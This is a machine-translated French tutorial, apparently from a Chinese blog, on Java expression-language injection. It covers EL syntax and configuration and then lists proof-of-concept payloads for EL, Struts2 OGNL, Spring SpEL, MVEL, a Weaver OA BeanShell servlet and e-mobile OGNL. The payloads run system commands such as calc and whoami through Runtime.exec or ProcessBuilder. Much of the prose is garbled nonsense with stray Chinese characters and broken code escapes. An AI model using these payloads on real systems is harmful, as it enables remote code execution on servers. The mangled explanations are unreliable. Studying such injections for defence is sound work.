Injection d'expression de table Java

Sousuke

Java medium table type racine division du cadre d'installation, parmi lesquels EL table type syllabaire jsp-like langue interne son, stipulations et syllabus jsp copie et suite. Utilisez le type de table EL, peut être utilisé, jsp, calcul, nombre d'enjeux, méthode d'ajustement, enjeux, etc. Son langage de base est «$ {expression de table de variation}».

Langue de base

La plupart de la méthode de formulation Towa jsp Il y a beaucoup de différence, et c'est un peu différent.

获 montant du changement tori

<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String name = "Kozo";
    request.setAttribute("name",name);

    request.setAttribute("request", "request_name");
    session.setAttribute("session", "session_name");
    pageContext.setAttribute("page", "page_name");
    application.setAttribute("application", "application_name");
    HashMap<String, String> map = new HashMap<>();
    map.put("my-name", "admin");
    request.setAttribute("test", map);
%>
来 Quatre zones de travail individuelles moyenne quantité de changement de recherche:${name}
</br>
<%--Zone d'action--%>
来 requestScope Zone de travail moyenne quantité de changement:${requestScope.request}
</br>
来 sessionScope Milieu de la zone de travail 获 quantité de retrait:${sessionScope.session}
</br>
来 pageScope Milieu de la zone de travail 获 quantité de retrait:${pageScope.page}
</br>
来 applicationScope Zone de travail quantité moyenne de changement:${applicationScope.application}
</br>
来 Montant de changement de code spécial dans la zone de travail:${requestScope.test["my-name"]}

Marque d'opération

Type Code
Type arithmétique +、-(Double),*、/、div、%、mod、-(Unifié)
逻 辑 type and、&&, Ou, signe double tube,!、not
Type connexe ==、eq、!=、ne、<、lt、>、gt、<=、le、>=, Ge. Peut donner une autre 值 comparaison avancée, ou donner 尔 type, type de brochette de caractère, type régulier ou type virgule flottante comparaison d'avance de caractère.
Ciel vide Opération de marque d'opération vide, disponible et indécise.
Type conditionnel A ?B :C. Enracinement A 赋 值 赋 值 B ou C.

L'éléphant

  1. pageContext
  2. param paramValues
  3. header headerValues
  4. cookie
  5. initParam
  6. Série de portée

une fonction

${ns:func(param1, param2, ...)}

Pour le numéro de boîte d'ajustement de formule d'expression de table el requis, utilisez la norme de type entrée taglib

Méthode Java de préparation

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
    String name = "Kozo";
    request.setAttribute("name",name);
%>
Nombre d'ajustements:${elFunc:elFunc(name)}

页 Importation de surface ʻNuméro de réglage: bonjour 张 3`

Table EL interdite / interdite

Table EL interdite pour toutes les stations, web.xml

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

Cérémonie d'expression de table EL interdite Dans le texte JSP, vous pouvez le faire.

<%@ page isELIgnored="true" %>

Expression de table EL pour interdire l'affichage des mots, affichage TRUE interdit, affichage FALSE interdit.

Expression de table JSP2.0 EL pour les personnes d'âge moyen.

Exemple de fuite d'injection de surface

Principes: Toutes les expressions sont disponibles ou réservées en externe. La première rangée est un poc trivial, et après cela, il est sous le même stile.

POC commun

${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Struts2 OGNL

@[Tous les noms (diamètre d'emballage complet)]@[Nom de la méthode|Nom], Exemple:
​@java.lang.String@format('foo %s', 'bar')

Exemple

ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));

Spring SPEL

String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();

JSP JSTL_EL

<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

Elasticsearch MVEL

String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
​Boolean result = (Boolean) MVEL.eval(expression, vars);

Injection de type table Minoru OA EL

[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())

Quelqu'un POST

message=(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami

Un type de réduction

POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

绕 滕

  1. Réflexion
  2. unicode
  3. Huit système d'avance

référence

  1. [Injection de fine ognl e-mobile](https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3% A8% E5% 85% A5.md)
  2. https://xz.aliyun.com/t/7692
  3. https://www.jianshu.com/p/14e9af313e93
  4. [Injection de table](https://misakikata.github.io/2018/09/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85 % A5 /)

Recommended Posts

Injection d'expression de table Java
[Java] Expression Lambda
Expression lambda Java
apprentissage java (expression conditionnelle)
expression 1 de la table lambda neutre java
Variations d'expressions lambda Java
Fonctionnalité d'expression lambda Java 8
mémo d'expression java lambda
Etudier Java 8 (expression lambda)
Expression lambda Java à nouveau
résumé des expressions régulières java
Java ajoute un tableau au PDF
[Java] Interface fonctionnelle / expression lambda
Flux Java8, résumé de l'expression lambda
Implémenter un test piloté par table dans Java 14
[Java] Traitement en boucle et table de quatre-vingt-dix-neuf
Contenu d'apprentissage de base Java 9 (expression lambda)
Essayez une expression If en Java
Java
Qu'est-ce qu'une expression lambda (Java)
Java
Agent Java Shell intrinsèque d'injection anti-ordonnée réelle
[Java] [Spring] Spring Boot Mystérieux hamarinet d'injection de dépendances
Récapitulons maintenant l'expression lambda Java
Injection de dépendances Spring à l'aide de Java, Kotlin
Java crée un tableau dans un document Word